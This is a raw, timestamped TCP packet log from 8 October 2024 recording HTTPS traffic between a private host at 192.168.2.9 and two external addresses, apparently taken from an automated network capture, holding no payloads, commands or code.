Oct 8, 2024 20:52:10.769460917 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.770468950 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.770509005 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.770576000 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.770582914 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.770601988 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.770622969 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.770628929 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.770657063 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.770659924 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.770684958 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.770692110 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.770713091 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.770731926 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.798405886 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.799091101 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.799115896 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.799727917 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.799732924 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.834666967 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.834738970 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.834786892 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.834806919 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.834819078 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.834842920 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.853364944 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.853410006 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.853487015 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.853512049 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.853524923 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.853565931 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.853611946 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.853656054 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.853691101 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.853696108 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.853722095 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.853740931 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.854032993 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.854074955 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.854105949 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.854113102 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.854137897 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.854162931 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.854974031 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.854995966 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.855043888 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.855050087 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.855072975 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.855084896 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.855138063 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.855154037 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.855189085 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.855192900 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.855232954 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.855312109 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.856086969 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.856101990 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.856165886 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.856172085 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.856218100 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.856350899 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.856368065 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.856420040 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.856425047 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.856466055 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.903574944 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.903652906 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.903724909 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.903930902 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.903953075 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.903964996 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.903975010 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.906990051 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.907027006 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.907176971 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.907291889 CEST	49769	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.907308102 CEST	443	49769	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.921586990 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.921619892 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.921734095 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.921761990 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.921812057 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.940114975 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.940131903 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.940320969 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.940360069 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.940362930 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.940373898 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.940412045 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.940781116 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.940794945 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.940855980 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.940864086 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.941838980 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.941859007 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.941899061 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.941905022 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.941932917 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.942116022 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.942130089 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.942178011 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.942183971 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.942208052 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.943034887 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.943054914 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.943109035 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.943114996 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.943423033 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.943435907 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.943490028 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.943496943 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.989393950 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.009712934 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.009795904 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.009859085 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.009902000 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.009915113 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.009944916 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.027429104 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.027475119 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.027548075 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.027555943 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.027606010 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.027929068 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.027971983 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028002977 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028007984 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028031111 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028048038 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028147936 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028187037 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028228998 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028233051 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028249979 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028295040 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028561115 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028601885 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028625965 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028630972 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028661966 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028672934 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028800964 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028842926 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028879881 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028884888 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.028913975 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.028927088 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.029716969 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.029757977 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.029789925 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.029794931 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.029819965 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.029834032 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.029997110 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.030050993 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.030078888 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.030083895 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.030114889 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.030127048 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.095947981 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.095997095 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.096075058 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.096086979 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.096127987 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.101494074 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.101969004 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.101998091 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.102441072 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.102447033 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.108163118 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.108655930 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.108663082 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.109196901 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.109200954 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.109206915 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.109638929 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.109667063 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.110055923 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.110063076 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.114622116 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.114664078 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.114722967 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.114732027 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.114761114 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.114774942 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.114825964 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.114881992 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.114893913 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.114909887 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.114944935 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.114970922 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.115355968 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.115413904 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.115431070 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.115436077 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.115525007 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.115525007 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.115581036 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.115618944 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.115660906 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.115664959 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.115690947 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.115709066 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.116173029 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.116211891 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.116247892 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.116252899 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.116287947 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.117542028 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.117582083 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.117629051 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.117634058 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.117657900 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.117679119 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.117829084 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.117870092 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.117896080 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.117899895 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.117925882 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.117938995 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.137227058 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.137646914 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.137655020 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.138386011 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.138391018 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.438920975 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.438951015 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439049006 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439070940 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439112902 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439141035 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439157009 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439193010 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439198017 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439225912 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439244986 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439446926 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439462900 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439510107 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439516068 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439541101 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439562082 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439662933 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439680099 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439723969 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439728975 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439750910 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439764023 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.439945936 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.439958096 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440004110 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440007925 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440036058 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440054893 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440094948 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440110922 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440151930 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440156937 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440185070 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440206051 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440207958 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.440285921 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.440345049 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.440354109 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440368891 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440413952 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440418959 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440453053 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440474987 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.440520048 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.440548897 CEST	49766	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.440567017 CEST	443	49766	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.440695047 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440718889 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440768957 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440781116 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440819025 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440917015 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440932989 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440975904 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.440979004 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.440988064 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.440990925 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.441013098 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.441025972 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441051960 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441062927 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.441068888 CEST	443	49765	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.441068888 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.441080093 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441107988 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441112995 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441150904 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.441152096 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.441155910 CEST	49765	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.441159010 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441165924 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441422939 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.441441059 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.441452026 CEST	49768	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.441457033 CEST	443	49768	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.441514969 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441530943 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441581011 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441586971 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441622972 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441699028 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441715002 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441757917 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441761971 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441806078 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441814899 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441828966 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441865921 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441870928 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.441895962 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.441909075 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.442351103 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.442368031 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.442378044 CEST	49767	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:11.442384005 CEST	443	49767	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:11.442404985 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442420006 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442465067 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.442468882 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442508936 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.442529917 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442544937 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442586899 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.442590952 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:11.442600965 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.442630053 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:11.442708969 CEST	443	49758	188.114.96.3	192.168.2.9
